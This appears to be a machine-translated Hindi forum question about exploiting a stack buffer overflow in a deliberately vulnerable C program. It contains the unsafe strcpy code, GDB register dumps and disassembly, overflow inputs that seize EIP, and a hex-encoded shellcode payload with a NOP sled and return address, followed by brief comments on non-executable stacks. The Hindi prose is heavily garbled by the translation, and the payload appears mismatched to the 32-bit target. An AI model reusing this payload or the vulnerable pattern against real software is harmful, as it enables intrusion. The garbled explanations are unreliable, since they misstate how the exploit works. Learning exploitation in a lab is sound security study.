मैं कुछ बफर ओवरफ्लो शोषण उदाहरणों के माध्यम से काम कर रहा हूं और परीक्षण के लिए एक बुनियादी कमजोर सी ऐप लिखा है: (लक्ष्य और हमलावर एक ही काली 2 मशीन है और "echo" 0 ">/proc/sys/कर्नेल/randomize_va_space ")बफर ओवरफ्लो एक्सप्लॉइट उदाहरण
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
अब, GDB में कुछ परीक्षण के साथ मैं बफर में 260 बाइट्स करने के द्वारा किसी SEG गलती का कारण बन सकती:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
रजिस्टरों के साथ
दिखा:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
मुझे लगता है कि मैं सफलतापूर्वक EIP का नियंत्रण हासिल कर सकते हैं, 0x424242 ऊपर दिए गए
प्रश्न 1.
260 बाइट्स की एक बफर के साथ (हालांकि ईबीपी 0x0 ?? है), EIP के रूप में ओवरराइड की गई है ऊपर। का उपयोग कर:
r $(python -c 'print "A" * 512')
मैं लग रहा है कि SEGSEGV रजिस्टरों
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
मैं सोचा होगा साथ 0x080484b4 पर यह है कि अगर EIP के 260 लाभ नियंत्रण, चाहिए नहीं 512 बाइट उदाहरण के रूप में अच्छी तरह से ? 512 परिदृश्य क्यों ईआईपी को इस मामले में 0x424242 के बजाय 260 बाइट बफर उदाहरण के रूप में रेट करने की इजाजत देता है ??
प्रश्न 2.
मैं एक पेलोड 87 बाइट्स है कि बनाया है। मैं
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
मेरे disas मुख्य है नीचे के रूप में प्रारंभिक 204 बाइट्स में पेलोड इंजेक्शन है के रूप में 56 पर एक ब्रेक (0x08048493) लाना और ईएसपी एक्स/2wx मैं $ esp की जांच
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <[email protected]>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <[email protected]>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <[email protected]>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
इस प्रकार है कि पा सकते हैं:
0xffffd220: 0xffffd230 0xffffd56b
और एक्स/एस 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
01 दुर्भाग्य से
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
, कार्यक्रम:
हां, तो यह मान सकते हैं (उम्मीद सही ढंग से) कि EIP \ x6b \ xd5 \ xff \ xff कॉल करने के लिए दोहन होना चाहिए, और नीचे के रूप में सभी टुकड़ों को प्रतिस्थापन (nop स्लेज का प्रयोग करके) अब सामान्य रूप से "सामान्य 1 (प्रक्रिया 2863) सामान्य रूप से बाहर निकलने के साथ सामान्य रूप से समाप्त हो रहा है]"। क्या मैं सही रास्ते से कुछ या सिर्फ रास्ता खो रहा हूं ...? इसके अलावा मुझे लगता है कि उपरोक्त कथन में ब्रेक नहीं तोड़ते हैं?
- संपादित करें
स्क्रीन पर घंटे से प्रस्थान कर लेने :)
आधुनिक ऑपरेटिंग सिस्टम आपको निर्देशों को संशोधित नहीं करने देंगे, इसलिए यदि आप एक दूरस्थ निर्देश को ओवरराइट करने का प्रयास कर रहे हैं, तो यह गलती को रोक देगा। इसके अलावा, 'ईआईपी भरें' का क्या मतलब है? ईआईपी निर्देश सूचक है। –
@ बॉबीसाकैमैनो: जरूरी नहीं है कि कोड ढेर पर है। ढेर पढ़ा और लिखना है। और सभी ओएस स्टैक पर कोड निष्पादित करने से नहीं रोकते हैं (क्योंकि कुछ ओएस स्टैक पर ट्रैम्पोलिन कोड डालते हैं)। बफर शोषण कोड स्टैक पर समाप्त हो जाएगा, इसलिए यह इस बात पर निर्भर करता है कि ओएस स्टैक पर कोड निष्पादित करने की अनुमति देता है या नहीं। –
@ माइकलपेट ओह अच्छा बिंदु। मैं कभी-कभी डेटा निष्पादन हमलों के बारे में भूल जाता हूं। मुझे लगता है कि इसका उत्तर देने के लिए अधिक जानकारी की आवश्यकता है। –